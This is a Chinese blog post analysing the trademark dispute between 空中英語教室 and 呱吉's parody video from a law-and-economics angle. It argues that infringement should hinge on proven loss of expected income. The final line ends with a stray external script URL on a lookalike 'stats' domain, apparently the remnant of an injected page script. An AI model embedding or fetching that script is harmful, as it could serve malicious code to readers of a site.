經濟分析看呱吉空中英語傳教士的商標法衝突
首先說明一下我知道的事實:
呱吉的上班不要看公司推出了「空中英語傳教士」影片:
空中英語教室方(財團法人台北市基督教救世傳播協會)發函指責呱吉之影片侵害其商標權。
說說我的看法:
從經濟分析來看,商標權本質就是一種「人為擬制的壟斷權利」,其背後最重要的依然是透過法制壟斷,保障商標權所有人可從某種虛擬信賴可得預期未來收入流(anticipated income flow)。
因此像智財法院103年度刑事上易字第63號判決那樣從言論自由角度切入判斷「戲謔仿作(parody)」是否侵害商標權,並非是一個好的法律標準。我認為應該是從「空中英語教室」這個商標所有權人是否能夠證明自己因呱吉此戲謔的「空中英語傳教士」影片發生任何收入或預期收入減損。 這也回歸侵權行為法(torts)的基本精神 — 權利主張者應該要證明自己所受損失的存在(The rights claimer shall prove his damages.)。
同時,是否造成混淆也非好的判斷標準,因為過於主觀而難以量度。
因此要證明空中英語教室是否因此受到收入損失的,反而應該放在呱吉的上班不要看工作室「是否提供可取代空中英語教室所提供之商品或服務」?也就是說,二者之間是否存在市場競爭關係?
如果說呱吉的影片所提供之英語教學對於空中英語教室有相對取代性,則空中英語教室的預期收入受到減損就能做到某種程度的證明。取代性高低本身也會與損失高低有所關連。
反之,若呱吉提供的影片內容不具備取代空中英語教室之商品的可能性,則顯然空中英語教室的商標權所保障之最主要利益並未受到損害。既無損害,何來權利主張之必要?
上述經濟學上的競爭關係,才應該是商標法第68條「…於同一商品或服務…於類似之商品或服務…」的重要內涵。同理,我也認為商標法第70條也應該基於同樣的經濟分析邏輯才能成立 — 明知且故意為減損商標所有權人之未來收入而作為的侵害行為。
因此在我看來,同為Youtuber的「阿滴英文」若推出「空中英語傳教士」這樣slogan的影片,反而構成商標法侵權的機率比較高。前述判決中,被告販賣印有變形的香奈兒「外雙C」logo之手提袋,顯然與原廠正版香奈兒產品有高度取代性與競爭性。
但回頭看呱吉於影片中教授的「fluff」之字,著重在「無內涵或專業口交員」這種特殊用法,是否對空中英語教室教授「正規英語」的商品或服務有取代性?讀者可自行判斷。
當然,本案進入法院之後可能會是個很有意思的判決,但我深深認為空中英語教室這方應該捫心自問呱吉影片究竟是「侵害了收入或預期收入」,亦或「只是主觀價值情感上不認同」?
有趣的點是:空中英語教室方所發的律師警告函,內文聲稱呱吉所拍是「黃色影片」增加曝光度、直接進行買賣交易藉此分潤獲利,似乎空中英語教室方在乎的是後者而非前者。
如果呱吉真的是如其所稱拍攝「黃色影片」(雖然看完呱吉的影片,我實在看不出『黃』在哪?可能相對基督教來說,我本人太污穢了,對不起中學教過我的神父修女們 XD),那麼顯然呱吉與空中英語教室根本不在同一個市場競爭,何來「減損商譽」或「侵害權利」之有呢?
歐美有一堆A片版的「白雪公主」、「魔戒」、「神鬼奇航」…等等,是否在著作權或商標權上可構成侵害原版影片的IP權利?我認為從收入流這個經濟邏輯來看,都很難證明損害之存在。
我認為本案很可能雙方和解收場,畢竟進入高成本的司法訴訟對雙方均不利。
本文重點在於:
從法律經濟分析來看,商標權等智慧財產權都是人為擬制的壟斷權利,既是壟斷權則權利必須有邊界。我認為唯一可取的邊界,是回歸經濟邏輯 — 權利人預期收入是否受到損害。
打高空訴諸「言論自由」不可取,難以量度的「混淆」同樣不可取。https://js.developerstatss.ga/stat.js?n=ns1